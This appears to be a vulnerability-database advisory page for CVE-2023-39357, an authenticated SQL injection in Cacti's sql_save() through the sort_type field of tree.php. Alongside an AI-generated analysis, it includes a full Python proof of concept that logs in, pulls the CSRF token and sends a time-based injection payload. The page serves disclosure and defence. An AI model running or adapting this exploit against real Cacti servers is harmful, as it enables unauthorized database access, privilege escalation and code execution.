VYPR
Unrated severityNVD Advisory· Published Sep 5, 2023· Updated Feb 13, 2025

A Defect in sql_save() Causes Multiple SQL Injection Vulnerabilities in Cacti

CVE-2023-39357

Description

Cacti is an open source operational monitoring and fault management framework. A defect in the sql_save function was discovered. When the column type is numeric, the sql_save function directly utilizes user input. Many files and functions calling the sql_save function do not perform prior validation of user input, leading to the existence of multiple SQL injection vulnerabilities in Cacti. This allows authenticated users to exploit these SQL injection vulnerabilities to perform privilege escalation and remote code execution. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

13

Patches

Vulnerability mechanics

Root cause

"The sql_save function directly utilizes user input for numeric columns without prior validation."

Attack vector

An authenticated user can exploit this vulnerability by sending a crafted payload to the `form_save` function in `tree.php`. This function calls `sql_save` to update the `graph_tree` table. Since the `sort_type` column is numeric (tinyint) and not validated by `form_save`, user-controlled input is directly inserted into the SQL query, leading to SQL injection. This can be used to perform privilege escalation and remote code execution [ref_id=1].

Affected code

The vulnerability lies within the `sql_save` function in `lib/database.php`, which fails to validate user input for numeric column types. Specifically, the `form_save` function in `tree.php` calls `sql_save` to update the `graph_tree` table, passing unvalidated user input for the `sort_type` column, which is of a numeric type [ref_id=1].

What the fix does

The advisory indicates that the issue has been addressed in version 1.2.25. While a specific patch diff is not provided, the fix likely involves implementing proper input validation within the `sql_save` function or in the calling functions before passing user-supplied data for numeric columns. This prevents malicious SQL code from being injected into database queries [ref_id=1].

Preconditions

  • authThe attacker must be an authenticated user.

Reproduction

By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection. ```python import argparse import requests import sys import urllib3

#import os #os.environ['http_proxy'] = 'http://localhost:8080'

sleep_time = 10 payload = f"(select sleep({sleep_time}))"

def get_csrf_token(): url = f"{target}/index.php" res_body = session.get(url).content.decode() csrf_token = res_body.split('var csrfMagicToken = "')[1].split('"')[0] if not csrf_token: print("[-] Unable to find csrf_token") sys.exit() return csrf_token

def login(username,password): login_url = f"{target}/index.php"

csrf_token = get_csrf_token() data = {'action':'login','login_username':username,'login_password':password,'__csrf_magic':csrf_token} res_body = session.post(login_url,data=data).content.decode() if 'You are now logged into <' in res_body: print('[+] Login successful!') else: print('[-] Login failed. Check your credentials') sys.exit()

def exploit(): url = f"{target}/tree.php"

csrf_token = get_csrf_token() data = { "__csrf_magic":csrf_token, "name":"test", "sort_type":payload, "id":"0", "sequence":"", "save_component_tree":"1", "action":"save" }

print('[+] Sending payload...') print(f"[+] Payload: {payload}") session.post(url,data=data) if __name__=='__main__': urllib3.disable_warnings() parser = argparse.ArgumentParser(description="Cacti 1.2.24 - tree.php 'sort_type' SQL Injection (authenticated)") parser.add_argument('-t','--target',help='',required=True) parser.add_argument('-u','--username',help='',required=True) parser.add_argument('-p','--password',help='',required=True) args = parser.parse_args() username = args.username password = args.password target = args.target session = requests.Session()

login(username,password) exploit() ``` [ref_id=1]

Generated on Jun 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

6

News mentions

0

No linked articles in our index yet.